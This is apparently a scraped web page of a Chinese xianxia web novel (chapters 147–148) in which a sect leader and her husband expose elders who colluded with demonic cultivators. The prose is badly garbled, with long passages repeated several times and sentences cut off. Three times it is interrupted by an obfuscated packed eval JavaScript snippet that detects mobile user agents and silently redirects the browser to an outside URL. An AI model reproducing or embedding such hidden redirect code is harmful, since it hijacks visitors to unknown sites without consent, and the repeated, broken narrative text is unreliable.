数十名魔修同时暴起,各种阴毒法器呼啸而出,黑雾弥漫间,**,骨刃,血幡交织成一张死亡之网。 慕长歌连剑都没出,轻轻一拂袖,那些袭来的法器已然调转方向,以更快的速度原路返回! 噗噗噗! 利器入肉的声音接连响起。 魔修们甚至来不及惨叫,就被自己的利器贯穿胸膛。 慕长歌闲庭信步穿过血雾,衣角未曾沾染半分污秽。 魔修头领瞳孔骤缩,低头看去,胸前被一把通体赤红的长剑,贯穿了身躯。 他认出了那把剑,眼中流淌着惊恐,“你是.慕长歌!” 该死的墨有机! 为何不说清阻碍他们的,且要杀的那个人,就是他们魔尊尚且忌惮几分的那个煞星! 早知他也在,就应该回去禀报魔尊。 至于先前劫持南宫媚儿的同伴们有来无回无,是被墨有机告知南宫媚儿隐藏了修为,这才导致他们没有多想。 轰! 随着一声炸响,漫天魔气被血煞剑所吞噬。 墨玄机三兄弟各自双目一紧,随着慕长歌转身走来的身影,他们心跳止不住加速。 合欢宗众弟子完全相反,眼中迸发着炽热精芒。 南宫媚儿上前,玉指轻抚慕长歌的衣襟,“夫君,这些蝼蚁可曾脏了你的手?” 望着他摇头,她声音陡然转冷,瞥向那三人。 “三位长老,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582189|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该解释一下,魔修怎会出现在这阵法中!” 记,那里传来的灼热感,让她稍稍安心。 不多时,阵法彻底崩塌,眼前的景象逐渐映入众人视线。 有慕长歌背对他们的画面,还有 “魔修?!” 玉蟾失声惊呼,这些人如何进入的合欢宗,又是如何悄无声息进入到祖师留下的阵法之内。 入阵那也没什么好担心的,充其量自寻死路而已,可偏偏这些魔修们平安无事。 对方也一阵错愕,他们本是埋伏在第三关,静候时机除掉墨有机所言阻碍他们的那个人。 没想到尚未出手,阵法就崩塌了,还显露了他们的踪迹。 这就比他们的头还要秃然。 为首的魔修头领最先回过神,他手掐法诀,一道血色光柱冲天而起,在云端炸开一朵狰狞的骷髅图案。 “杀!” 魔修头领目光锁定慕长歌,厉声喝道。 数十名魔修同时暴起,各种阴毒法器呼啸而出,黑雾弥漫间,**,骨刃,血幡交织成一张死亡之网。 慕长歌连剑都没出,轻轻一拂袖,那些袭来的法器已然调转方向,以更快的速度原路返回! 噗噗噗! 利器入肉的声音接连响起。 魔修们甚至来不及惨叫,就被自己的利器贯穿胸膛。 慕长歌闲庭信步穿过血雾,衣角未曾沾染半分污秽。 魔修头领瞳孔骤缩,低头看去,胸前被一把通体赤红的长剑,贯穿了身躯。 他认出了那把剑,眼中流淌着惊恐,“你是.慕长歌!” 该死的墨有机! 为何不说清阻碍他们的,且要杀的那个人,就是他们魔尊尚且忌惮几分的那个煞星! 早知他也在,就应该回去禀报魔尊。 至于先前劫持南宫媚儿的同伴们有来无回无,是被墨有机告知南宫媚儿隐藏了修为,这才导致他们没有多想。 轰! 随着一声炸响,漫天魔气被血煞剑所吞噬。 墨玄机三兄弟各自双目一紧,随着慕长歌转身走来的身影,他们心跳止不住加速。 合欢宗众弟子完全相反,眼中迸发着炽热精芒。 南宫媚儿上前,玉指轻抚慕长歌的衣襟,“夫君,这些蝼蚁可曾脏了你的手?” 望着他摇头,她声音陡然转冷,瞥向那三人。 “三位长老,是不是该解释一下,魔修怎会出现在这阵法中!” 记,那里传来的灼热感,让她稍稍安心。 不多时,阵法彻底崩塌,眼前的景象逐渐映入众人视线。 有慕长歌背对他们的画面,还有 “魔修?!” 玉蟾失声惊呼,这些人如何进入的合欢宗,又是如何悄无声息进入到祖师留下的阵法之内。 入阵那也没什么好担心的,充其量自寻死路而已,可偏偏这些魔修们平安无事。 对方也一阵错愕,他们本是埋伏在第三关,静候时机除掉墨有机所言阻碍他们的那个人。 没想到尚未出手,阵法就崩塌了,还显露了他们的踪迹。 这就比他们的头还要秃然。 为首的魔修头领最先回过神,他手掐法诀,一道血色光柱冲天而起,在云端炸开一朵狰狞的骷髅图案。 “杀!” 魔修头领目光锁定慕长歌,厉声喝道。 数十名魔修同时暴起,各种阴毒法器呼啸而出,黑雾弥漫间,**,骨刃,血幡交织成一张死亡之网。 慕长歌连剑都没出,轻轻一拂袖,那些袭来的法器已然调转方向,以更快的速度原路返回! 噗噗噗! 利器入肉的声音接连响起。 魔修们甚至来不及惨叫,就被自己的利器贯穿胸膛。 慕长歌闲庭信步穿过血雾,衣角未曾沾染半分污秽。 魔修头领瞳孔骤缩,低头看去,胸前被一把通体赤红的长剑,贯穿了身躯。 他认出了那把剑,眼中流淌着惊恐,“你是.慕长歌!” 该死的墨有机! 为何不说清阻碍他们的,且要杀的那个人,就是他们魔尊尚且忌惮几分的那个煞星! 早知他也在,就应该回去禀报魔尊。 至于先前劫持南宫媚儿的同伴们有来无回无,是被墨有机告知南宫媚儿隐藏了修为,这才导致他们没有多想。 轰! 随着一声炸响,漫天魔气被血煞剑所吞噬。 墨玄机三兄弟各自双目一紧,随着慕长歌转身走来的身影,他们心跳止不住加速。 合欢宗众弟子完全相反,眼中迸发着炽热精芒。 南宫媚儿上前,玉指轻抚慕长歌的衣襟,“夫君,这些蝼蚁可曾脏了你的手?” 望着他摇头,她声音陡然转冷,瞥向那三人。 “三位长老,是不是该解释一下,魔修怎会出现在这阵法中!” 记,那里传来的灼热感,让她稍稍安心。 不多时,阵法彻底崩塌,眼前的景象逐渐映入众人视线。 有慕长歌背对他们的画面,还有 “魔修?!” 玉蟾失声惊呼,这些人如何进入的合欢宗,又是如何悄无声息进入到祖师留下的阵法之内。 入阵那也没什么好担心的,充其量自寻死路而已,可偏偏这些魔修们平安无事。 对方也一阵错愕,他们本是埋伏在第三关,静候时机除掉墨有机所言阻碍他们的那个人。 没想到尚未出手,阵法就崩塌了,还显露了他们的踪迹。 这就比他们的头还要秃然。 为首的魔修头领最先回过神,他手掐法诀,一道血色光柱冲天而起,在云端炸开一朵狰狞的骷髅图案。 “杀!” 魔修头领目光锁定慕长歌,厉声喝道。 数十名魔修同时暴起,各种阴毒法器呼啸而出,黑雾弥漫间,**,骨刃,血幡交织成一张死亡之网。 慕长歌连剑都没出,轻轻一拂袖,那些袭来的法器已然调转方向,以更快的速度原路返回! 噗噗噗! 利器入肉的声音接连响起。 魔修们甚至来不及惨叫,就被自己的利器贯穿胸膛。 慕长歌闲庭信步穿过血雾,衣角未曾沾染半分污秽。 魔修头领瞳孔骤缩,低头看去,胸前被一把通体赤红的长剑,贯穿了身躯。 他认出了那把剑,眼中流淌着惊恐,“你是.慕长歌!” 该死的墨有机! 为何不说清阻碍他们的,且要杀的那个人,就是他们魔尊尚且忌惮几分的那个煞星! 早知他也在,就应该回去禀报魔尊。 至于先前劫持南宫媚儿的同伴们有来无回无,是被墨有机告知南宫媚儿隐藏了修为,这才导致他们没有多想。 轰! 随着一声炸响,漫天魔气被血煞剑所吞噬。 墨玄机三兄弟各自双目一紧,随着慕长歌转身走来的身影,他们心跳止不住加速。 合欢宗众弟子完全相反,眼中迸发着炽热精芒。 南宫媚儿上前,玉指轻抚慕长歌的衣襟,“夫君,这些蝼蚁可曾脏了你的手?” 望着他摇头,她声音陡然转冷,瞥向那三人。 “三位长老,是不是该解释一下,魔修怎会出现在这阵法中!” 第147章 媚儿怒扇老脸响,玉蟾暴骂掀老底 墨玄机龙头杖重重杵地,浑浊的老眼中闪动着阴鸷,“宗门进了魔修,乃弟子守卫疏忽所致,何须老朽解释? “不知他们要疏忽到何种程度,才能让魔修潜入到祖师的阵法之中? 南宫媚儿玉手指向一众弟子,“莫非那么多双眼睛,大长老当他们只是摆设? “更何况 她莲步轻移,月白留仙裙无风自动,“我夫君闯关时都不曾发现他们,直到闯过所有难关,阵法损毁,才察觉到踪迹。 南宫媚儿美眸流转间寒光乍现,直指要害。 围观的弟子面面相觑,眼中皆是浮现出怀疑之色,魔修潜入祖师阵法,绝非他们疏忽所致。 墨有机额头渗出冷汗,急忙辩解,“宗主此言差矣,纵然万情林阵法精妙,这些魔修未必就没有特殊手段。 “二长老倒是提醒我了。 南宫媚儿这一笑让墨有机浑身发冷,“能避开阵法监测,首先要对阵法了如指掌,其次 她指尖轻点朱唇,“那就只有持有宗门密令的大长老了~ 墨有丹背负在身后的那只手轻颤了下,又收拢了五指,握成了拳头,指关节泛着青色。 “宗主这是何意? 墨玄机抬头,“难道宗主怀疑老朽三人勾结魔修? “需要怀疑吗? 南宫媚儿一声嗤笑,理了理鬓角碎发,美眸陡然犀利,“若三位长老问心无愧,何不将那宗门密令取出来自证清白? “放肆! 墨玄机一声冷哼,“老朽身为执法长老,岂容 “大长老是怕拿不出来吧? 慕长歌看着他瞪大眼,失笑道,“你当然拿不出来,那东西在这儿呢! 他掌心浮现出一块玉珏,正是那晚墨玄机交给墨有机的那枚。 方才在万情中,斩杀了那些魔修,这东西就落在了他手里。 墨玄机老脸顿时扭曲,脸上的褶如那干枯的树皮,他死死盯着慕长歌掌心那块泛着幽光的玉珏,暗自咬了咬牙。 这小子,真该死啊! 弟子们一片哗然。 “真不敢相信大长老做了这种事! “勾结魔修可是死罪啊! “难怪这些年总有弟子莫名失踪,宗主的贴身四侍都丢了啊! 这名弟子提到贴身四侍,所有人的目光共同看向了墨玄机身后那四个眼神呆滞的女孩。 “住口! 墨玄机额头青筋迸溅, “这是污蔑老朽的密令前些日子被贼人偷盗了!” 他指向南宫媚儿“是你偷走的勾结魔修的不是我是你!” 这番颠倒黑白的指控让全场寂静了一瞬。 墨玄机趁机继续咆哮“好你个南宫媚儿身为宗主竟以勾结魔修来污蔑老夫你该当何罪!” 他每说一句就顿一下龙头杖“我早就怀疑你与魔道有染你为了打击报复老朽对你的不满竟然不惜” 啪! 一记清脆的耳光声打断了墨玄机的咆哮南宫媚儿不知何时闪身至他面前玉手收回时还带着淡淡的灵光。 “老东西本宗主忍你很久了。” 她声音冷得像块冰不得不说这张老脸抽起来的滋味还不错。 就是有点磨她这纤细光滑的小手要是粗糙了夫君可就不喜欢了谁让她的手不止能摸还有诸多妙用。 墨玄机好一阵错愕。 自己堂堂法相境长老被当众扇了耳光?! “你” “你什么你不见棺材不落泪!” 南宫媚儿美眸含煞“本宗主看你不爽不是一两天了为了抓住你的把柄可真不容易呢~” 她迈着妖娆的步伐走向了慕长歌。 “夫君~” 呼喊声娇媚入骨。 慕长歌掌心灵光再度闪烁指尖浮现出一枚留影球。 却是不成想南宫媚儿看都没看一眼反而凑近了红唇在他脸颊上轻轻一啄让在场众人看了个清清楚楚。 “……” 这女人真的是不放过任何一个占他便宜的机会。 南宫媚儿玉手接过留影球在慕长歌掌心挠了一下那俏皮吐舌的样子让他恨不能给这女人尝尝什么叫泰山压顶。 转过身南宫媚儿神色骤然转冷“诸位请看这便是铁证!” 她指尖轻弹一道灵光没入留影球球体绽放耀眼华光在半空中投射出一幅清晰画面。 画面中正是当日夜晚墨玄机在静心阁将那枚玉珏交给墨有机墨有机偷偷离开宗门去找魔修合作。 众弟子看到后先是一阵死寂随后爆发出震天的哗然。 堂堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588537|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗门之中大长老一人之下万人之上干出了这样的事。 “墨玄机你这个畜生你简直丧心病狂!” 玉蟾白须颤动唾沫横飞 他那白胡子一翘一翘,似只炸了**的老山羊,一边跳脚指着墨玄机,一边继续破口大骂。 “你个老不死的,一百年前偷看女弟子洗澡的是不是你?” “去年藏经阁丢失的阴阳合欢大典是不是你偷的?” “还有上个月膳房的灵鸡丢了两只,是你偷烤的吧!” 说到激动处,他干脆撸起袖子,唾沫星子飞溅,“老夫忍你很久了,天天绷着个脸给谁看呢,你以为这就是威严啊,我呸!” “老子告诉你,你这是面瘫,是病!得治!” 玉蟾哼唧两声,越骂越起劲,连南宫媚儿都看呆了。 “你个老棺材瓤子,天天端个臭架子,走路跟个瘸腿老鹅没有区别,当心本长老给你来一个拔**烧开水,铁锅炖大鹅!” 饶是此刻,慕长歌都给他挑了根大拇指,这位玉蟾老仙师,又让他见识到了不一样的一面。 虽说修为算不上至强,但总算忠于南宫媚儿。 众弟子那叫一个目瞪口呆,甚至有人揉了揉眼睛,谁人敢想平日里仙风道骨的老仙师,一朝化作市井泼妇。 墨玄机脸色黑如锅底,龙头杖在地上砸得砰砰响。 玉蟾见状更来劲儿了,以他的修为,做不到给南宫媚儿解决**烦,但怼人这点小事不难。 不就是不要面皮么,没啥大不了。 “宗主,您看这老东西被我说中了,就急成了便秘脸!” 玉蟾冲着南宫媚儿挤眉弄眼,又惟妙惟肖地模仿起墨玄机平日走路的姿势。 他驼着背一瘸一拐,嘴里嘟囔着,“老夫乃执法长老,德高望重,我呸!” 玉蟾脚下一滑,哎呦一声四脚朝天,众弟子终于忍不住,哄堂大笑。 墨玄机龙头杖指着玉蟾,“你” “你什么你!” 玉蟾一个鲤鱼打挺跳起来,拍拍屁股上的灰,“污蔑宗主的时候不是挺能说吗,怎么这会结巴了?” 他凑近墨玄机,突然压低了声音。 “告诉你个秘密.” 然后他猛地后退大喊,“你裤腰带系反啦!” 第148章 兄弟联手现法相,长歌一剑破双熊 众人齐刷刷看了过去,果然发现腰带歪歪扭扭地系着。 墨玄机老脸涨红,双目几欲喷火,尤其望着玉蟾背对他哈哈大笑,手背已然冒起了青筋。 老二墨有机和墨有丹,他们察觉到自身被一道气息锁定着,扭头看去,正是笑吟吟的慕长歌。 “想死.老夫成全你!” 法相境的气息陡然爆发。 墨玄机身后浮现出一尊三头六臂的狰狞法相,通体漆黑如墨,六只手臂各持一件诡异法器,散发着令人窒息的压迫。 玉蟾只觉得浑身血液要凝固,双腿如同灌了铅动弹不得,“宗主!救我啊!” 南宫媚儿玉手轻挥,一道光幕拦在了玉蟾身前。 黑芒与光幕相撞,爆发出震耳欲聋的轰鸣。 墨玄机那架鎏金座椅轰然炸裂,四名傀儡侍女被掀飞了出去。 落地后,再无任何动静。 “怎么?大长老当着本宗主的面,还要行凶?” 南宫媚儿身后浮现出一朵巨大的合欢花虚影,花瓣舒展间,五道璀璨光轮缓缓旋转。 正是五象法相的标志。 玉蟾一边惊诧南宫媚儿修为的提升,一边心有余悸。 “宗主,果然如您所料,这老东西的修为恢复了!” 他很是纳闷,墨玄机的丹田,可是宗主亲自出手废掉的,他是如何做到将之修复的? 不仅如此,墨玄机的修为更加精进了一阶。 错不了! 就是法相境四阶! 南宫媚儿未曾看出,是慕长歌给她传了音,她便趁着这个机会,让玉蟾再度加上一把劲儿。 得了鼓励的玉蟾,那叫一个不留余力,硬生生把墨玄机给逼迫到忍不住出了手。 一道青色流光从天而降,青竹抱着一名干瘪的女孩躯体,来到了众人面前。 “宗主,三日前失踪的那名新入门弟子被我找到了。” 他掀开盖在少女身上的外袍,露出苍白如纸的脸庞,以及脖子上狰狞的咬痕。 “弟子看她失了身,气血也被吞噬,似是为邪毒**所害。” 青竹起身,拱手抱拳,“弟子斗胆,还请宗主为死去的弟子查个真相,还个公道,否则日后谁敢拜入我们合欢宗!” 山风骤起,吹乱了南宫媚儿如瀑的青丝,她静立原地,月白留仙裙随风轻舞,勾勒出曼妙曲线。 裙摆飞扬间,一双修长玉腿若隐若现,在阳光下泛着莹润光泽。 沉默。 令人窒息的沉默。 唯有山风呼啸,卷起满地落花。 “宗主!” 青竹单膝跪地。 这一声仿佛打开了闸门,数百名弟子齐刷刷跪倒在地,衣袂摩擦声似潮水翻涌,转眼跪成一片。 “请宗主为我等弟子主持公道!” 声浪如雷,震得群山回响。 “我妹妹半年前就是这样死的啊!” 一名女弟子撕心裂肺地哭喊,她额头重重地磕在了地上,“求宗主做主!” 直至此刻,他们才知道,最大的邪魔不在外面,就在这合欢宗。 “求宗主做主!” 声浪一浪高过一浪,震得云层为之散开,南宫媚儿缓缓抬头,美眸中寒芒暴涨。 她玉手轻抬,所有声音戛然而止。 “本宗主,今日.便为合欢宗清理门户。” 南宫媚儿指尖轻点,腰间的宗主令绽放出耀眼光芒,“判,墨玄机,墨有机,墨有丹三人,神魂俱灭,不入轮回!” 话音未落,一道粉色流光直取墨玄机咽喉。 眨眼间,南宫媚儿与之交手数十招,空气中散开层层涟漪。 青竹抬头咬牙低喝,“诸位,布阵!” 数百名弟子同时掐诀,无数道灵力光柱冲天而起,交织成一张巨大的天罗地网。 “想困住老夫,做梦!” 墨玄机身后的三头六臂法相膨胀数倍,六件法器绽放刺目光芒。 南宫媚儿玉足轻点虚空,身后的合欢法相骤然绽放,五道光轮急速旋转,洒落漫天粉色花瓣。 那些花瓣蕴含着凌厉剑气,在空中划出优美弧线。 她素手轻扬,万千花瓣化作剑雨,铺天盖地袭向墨玄机,后者仓促间举起龙头杖格挡。 黑芒与粉光碰撞,爆发出震耳欲聋的轰鸣。 墨玄机踉跄后退,嘴角溢出一丝鲜血。 他掐诀念咒,四名被掀飞的侍女浑身抽搐,眼中泛起呆滞之光。 四名侍女同时跃起,以肉身挡在墨玄机身前,她们面无表情,任由剑气穿透身体。 墨玄机趁机暴退,身后法相六臂齐挥,直取阵法薄弱处,眼看就要破阵而出。 一道血色剑光划过,差点砍掉了他半个身子。 墨玄机心有余悸地瞥向一旁,慕长歌就站在了他身侧不远处。 “媚儿,有为夫为你压阵,放开手脚就是。” 他那声音温润动听,不是情话却比任何情话更加悦耳。 南宫媚儿看向慕长歌,红唇勾起一抹摄人心魄的弧度,对上墨玄机时,眼眸陡然转寒。 她玉手轻挥,五象法相骤然绽放出刺目粉光,万千花瓣凝聚成一柄十丈长的剑势,带着毁天灭地之势斩向墨玄机。 “老匹夫,受死!” 巨剑所过之处,空间为之扭曲。 墨玄机仓促间举起龙头拐杖抵挡,仍被这一剑劈得倒飞几十丈,在地上犁出一道深深沟壑。 另一边,墨有机和墨有丹对视一眼,同时暴起。 两人刚跃至半空,一道血色剑光横亘在前。 慕长歌笑容温和,“两位何必急着送死?” “狂妄!” 墨有机祭出一柄长刀,“区区小辈安敢拦我兄弟二人?” 墨有丹则默不作声地掐诀,袖中飞出数十枚淬毒银针,在空中划出诡异弧线。 血煞剑轻轻一划,一道血色屏障凭空浮现,便将那二人所有攻势尽数挡下。 慕长歌剑尖轻颤,“你们可以一起上,省得麻烦。” “找死!” 长刀化作一条黑龙直扑慕长歌。 墨有丹趁机绕到他背后,手中多出一柄泛着绿芒的**。 叮! 血煞剑挡住了黑龙,慕长歌头也不回地反手一抓,捏住了墨有丹的手腕。 他侧首露出一个令人胆寒的微笑。 咔嚓! 清脆的骨折声响起,墨有丹惨叫着跪倒在地。 慕长歌抬脚一踹,将他踢向墨有机,兄弟二人撞作一团,在地上滚出数十丈远。 两人狼狈地从地上爬起,眼中满是惊骇。 “二哥,不能留手了!” 墨有丹捂着骨折的手腕,咬牙切齿。 墨有机脸色阴沉,“能逼我们兄弟使出全力,你足以自傲了!” 轰! 两股强大的气息同时爆发。 墨有机身后浮现一尊通体漆黑的巨熊法相,足有三丈高。 墨有丹身后是一只碧绿毒蝎法相,尾勾闪烁着瘆人寒光。 南宫媚儿看向慕长歌,红唇勾起一抹摄人心魄的弧度,对上墨玄机时,眼眸陡然转寒。 她玉手轻挥,五象法相骤然绽放出刺目粉光,万千花瓣凝聚成一柄十丈长的剑势,带着毁天灭地之势斩向墨玄机。 “老匹夫,受死!” 巨剑所过之处,空间为之扭曲。 墨玄机仓促间举起龙头拐杖抵挡,仍被这一剑劈得倒飞几十丈,在地上犁出一道深深沟壑。 另一边,墨有机和墨有丹对视一眼,同时暴起。 两人刚跃至半空,一道血色剑光横亘在前。 慕长歌笑容温和,“两位何必急着送死?” “狂妄!” 墨有机祭出一柄长刀,“区区小辈安敢拦我兄弟二人?” 墨有丹则默不作声地掐诀,袖中飞出数十枚淬毒银针,在空中划出诡异弧线。 血煞剑轻轻一划,一道血色屏障凭空浮现,便将那二人所有攻势尽数挡下。 慕长歌剑尖轻颤,“你们可以一起上,省得麻烦。” “找死!” 长刀化作一条黑龙直扑慕长歌。 墨有丹趁机绕到他背后,手中多出一柄泛着绿芒的**。 叮! 血煞剑挡住了黑龙,慕长歌头也不回地反手一抓,捏住了墨有丹的手腕。 他侧首露出一个令人胆寒的微笑。 咔嚓! 清脆的骨折声响起,墨有丹惨叫着跪倒在地。 慕长歌抬脚一踹,将他踢向墨有机,兄弟二人撞作一团,在地上滚出数十丈远。 两人狼狈地从地上爬起,眼中满是惊骇。 “二哥,不能留手了!” 墨有丹捂着骨折的手腕,咬牙切齿。 墨有机脸色阴沉,“能逼我们兄弟使出全力,你足以自傲了!” 轰! 两股强大的气息同时爆发。 墨有机身后浮现一尊通体漆黑的巨熊法相,足有三丈高。 墨有丹身后是一只碧绿毒蝎法相,尾勾闪烁着瘆人寒光。 南宫媚儿看向慕长歌,红唇勾起一抹摄人心魄的弧度,对上墨玄机时,眼眸陡然转寒。 她玉手轻挥,五象法相骤然绽放出刺目粉光,万千花瓣凝聚成一柄十丈长的剑势,带着毁天灭地之势斩向墨玄机。 “老匹夫,受死!” 巨剑所过之处,空间为之扭曲。 墨玄机仓促间举起龙头拐杖抵挡,仍被这一剑劈得倒飞几十丈,在地上犁出一道深深沟壑。 另一边,墨有机和墨有丹对视一眼,同时暴起。 两人刚跃至半空,一道血色剑光横亘在前。 慕长歌笑容温和,“两位何必急着送死?” “狂妄!” 墨有机祭出一柄长刀,“区区小辈安敢拦我兄弟二人?” 墨有丹则默不作声地掐诀,袖中飞出数十枚淬毒银针,在空中划出诡异弧线。 血煞剑轻轻一划,一道血色屏障凭空浮现,便将那二人所有攻势尽数挡下。 慕长歌剑尖轻颤,“你们可以一起上,省得麻烦。” “找死!” 长刀化作一条黑龙直扑慕长歌。 墨有丹趁机绕到他背后,手中多出一柄泛着绿芒的**。 叮! 血煞剑挡住了黑龙,慕长歌头也不回地反手一抓,捏住了墨有丹的手腕。 他侧首露出一个令人胆寒的微笑。 咔嚓! 清脆的骨折声响起,墨有丹惨叫着跪倒在地。 慕长歌抬脚一踹,将他踢向墨有机,兄弟二人撞作一团,在地上滚出数十丈远。 两人狼狈地从地上爬起,眼中满是惊骇。 “二哥,不能留手了!” 墨有丹捂着骨折的手腕,咬牙切齿。 墨有机脸色阴沉,“能逼我们兄弟使出全力,你足以自傲了!” 轰! 两股强大的气息同时爆发。 墨有机身后浮现一尊通体漆黑的巨熊法相,足有三丈高。 墨有丹身后是一只碧绿毒蝎法相,尾勾闪烁着瘆人寒光。 南宫媚儿看向慕长歌,红唇勾起一抹摄人心魄的弧度,对上墨玄机时,眼眸陡然转寒。 她玉手轻挥,五象法相骤然绽放出刺目粉光,万千花瓣凝聚成一柄十丈长的剑势,带着毁天灭地之势斩向墨玄机。 “老匹夫,受死!” 巨剑所过之处,空间为之扭曲。 墨玄机仓促间举起龙头拐杖抵挡,仍被这一剑劈得倒飞几十丈,在地上犁出一道深深沟壑。 另一边,墨有机和墨有丹对视一眼,同时暴起。 两人刚跃至半空,一道血色剑光横亘在前。 慕长歌笑容温和,“两位何必急着送死?” “狂妄!” 墨有机祭出一柄长刀,“区区小辈安敢拦我兄弟二人?” 墨有丹则默不作声地掐诀,袖中飞出数十枚淬毒银针,在空中划出诡异弧线。 血煞剑轻轻一划,一道血色屏障凭空浮现,便将那二人所有攻势尽数挡下。 慕长歌剑尖轻颤,“你们可以一起上,省得麻烦。” “找死!” 长刀化作一条黑龙直扑慕长歌。 墨有丹趁机绕到他背后,手中多出一柄泛着绿芒的**。 叮! 血煞剑挡住了黑龙,慕长歌头也不回地反手一抓,捏住了墨有丹的手腕。 他侧首露出一个令人胆寒的微笑。 咔嚓! 清脆的骨折声响起,墨有丹惨叫着跪倒在地。 慕长歌抬脚一踹,将他踢向墨有机,兄弟二人撞作一团,在地上滚出数十丈远。 两人狼狈地从地上爬起,眼中满是惊骇。 “二哥,不能留手了!” 墨有丹捂着骨折的手腕,咬牙切齿。 墨有机脸色阴沉,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588538|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能逼我们兄弟使出全力,你足以自傲了!” 轰! 两股强大的气息同时爆发。 墨有机身后浮现一尊通体漆黑的巨熊法相,足有三丈高。 墨有丹身后是一只碧绿毒蝎法相,尾勾闪烁着瘆人寒光。 南宫媚儿看向慕长歌,红唇勾起一抹摄人心魄的弧度,对上墨玄机时,眼眸陡然转寒。 她玉手轻挥,五象法相骤然绽放出刺目粉光,万千花瓣凝聚成一柄十丈长的剑势,带着毁天灭地之势斩向墨玄机。 “老匹夫,受死!” 巨剑所过之处,空间为之扭曲。 墨玄机仓促间举起龙头拐杖抵挡,仍被这一剑劈得倒飞几十丈,在地上犁出一道深深沟壑。 另一边,墨有机和墨有丹对视一眼,同时暴起。 两人刚跃至半空,一道血色剑光横亘在前。 慕长歌笑容温和,“两位何必急着送死?” “狂妄!” 墨有机祭出一柄长刀,“区区小辈安敢拦我兄弟二人?” 墨有丹则默不作声地掐诀,袖中飞出数十枚淬毒银针,在空中划出诡异弧线。 血煞剑轻轻一划,一道血色屏障凭空浮现,便将那二人所有攻势尽数挡下。 慕长歌剑尖轻颤,“你们可以一起上,省得麻烦。” “找死!” 长刀化作一条黑龙直扑慕长歌。 墨有丹趁机绕到他背后,手中多出一柄泛着绿芒的**。 叮! 血煞剑挡住了黑龙,慕长歌头也不回地反手一抓,捏住了墨有丹的手腕。 他侧首露出一个令人胆寒的微笑。 咔嚓! 清脆的骨折声响起,墨有丹惨叫着跪倒在地。 慕长歌抬脚一踹,将他踢向墨有机,兄弟二人撞作一团,在地上滚出数十丈远。 两人狼狈地从地上爬起,眼中满是惊骇。 “二哥,不能留手了!” 墨有丹捂着骨折的手腕,咬牙切齿。 墨有机脸色阴沉,“能逼我们兄弟使出全力,你足以自傲了!” 轰! 两股强大的气息同时爆发。 墨有机身后浮现一尊通体漆黑的巨熊法相,足有三丈高。 墨有丹身后是一只碧绿毒蝎法相,尾勾闪烁着瘆人寒光。 南宫媚儿看向慕长歌,红唇勾起一抹摄人心魄的弧度,对上墨玄机时,眼眸陡然转寒。 她玉手轻挥,五象法相骤然绽放出刺目粉光,万千花瓣凝聚成一柄十丈长的剑势,带着毁天灭地之势斩向墨玄机。 “老匹夫,受死!” 巨剑所过之处,空间为之扭曲。 墨玄机仓促间举起龙头拐杖抵挡,仍被这一剑劈得倒飞几十丈,在地上犁出一道深深沟壑。 另一边,墨有机和墨有丹对视一眼,同时暴起。 两人刚跃至半空,一道血色剑光横亘在前。 慕长歌笑容温和,“两位何必急着送死?” “狂妄!” 墨有机祭出一柄长刀,“区区小辈安敢拦我兄弟二人?” 墨有丹则默不作声地掐诀,袖中飞出数十枚淬毒银针,在空中划出诡异弧线。 血煞剑轻轻一划,一道血色屏障凭空浮现,便将那二人所有攻势尽数挡下。 慕长歌剑尖轻颤,“你们可以一起上,省得麻烦。” “找死!” 长刀化作一条黑龙直扑慕长歌。 墨有丹趁机绕到他背后,手中多出一柄泛着绿芒的**。 叮! 血煞剑挡住了黑龙,慕长歌头也不回地反手一抓,捏住了墨有丹的手腕。 他侧首露出一个令人胆寒的微笑。 咔嚓! 清脆的骨折声响起,墨有丹惨叫着跪倒在地。 慕长歌抬脚一踹,将他踢向墨有机,兄弟二人撞作一团,在地上滚出数十丈远。 两人狼狈地从地上爬起,眼中满是惊骇。 “二哥,不能留手了!” 墨有丹捂着骨折的手腕,咬牙切齿。 墨有机脸色阴沉,“能逼我们兄弟使出全力,你足以自傲了!” 轰! 两股强大的气息同时爆发。 墨有机身后浮现一尊通体漆黑的巨熊法相,足有三丈高。 墨有丹身后是一只碧绿毒蝎法相,尾勾闪烁着瘆人寒光。 南宫媚儿看向慕长歌,红唇勾起一抹摄人心魄的弧度,对上墨玄机时,眼眸陡然转寒。 她玉手轻挥,五象法相骤然绽放出刺目粉光,万千花瓣凝聚成一柄十丈长的剑势,带着毁天灭地之势斩向墨玄机。 “老匹夫,受死!” 巨剑所过之处,空间为之扭曲。 墨玄机仓促间举起龙头拐杖抵挡,仍被这一剑劈得倒飞几十丈,在地上犁出一道深深沟壑。 另一边,墨有机和墨有丹对视一眼,同时暴起。 